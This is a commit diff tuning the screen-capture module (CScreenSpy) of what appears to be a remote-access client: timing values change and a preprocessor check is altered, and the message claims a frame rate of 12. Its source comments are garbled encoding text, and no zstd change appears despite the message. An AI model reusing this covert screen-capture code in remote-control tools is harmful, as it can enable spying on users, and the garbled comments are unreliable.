采用比zlib更快的压缩库zstd

远程桌面帧率提高到12；补充上传zlib.lib。

client/ScreenSpy.cpp

@@ -208,8 +208,8 @@ VOID CScreenSpy::WriteRectBuffer(LPBYTE	szBuffer,ULONG ulLength)
 
 VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
 {
-	AUTO_TICK(1);
-#ifdef COPY_ALL
+	AUTO_TICK(70);
+#if COPY_ALL
 	BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, m_dwBitBltRop);
 #else
 	const ULONG	ulJumpLine = 50;
@@ -233,7 +233,7 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
 ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, 
 								LPBYTE szBuffer, DWORD ulCompareLength)
 {
-	AUTO_TICK(1);
+	AUTO_TICK(20);
 	// Windows<77>涨һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
 	LPDWORD	p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData;
 	// ƫ<>Ƶ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ȵ<EFBFBD>ƫ<EFBFBD><C6AB>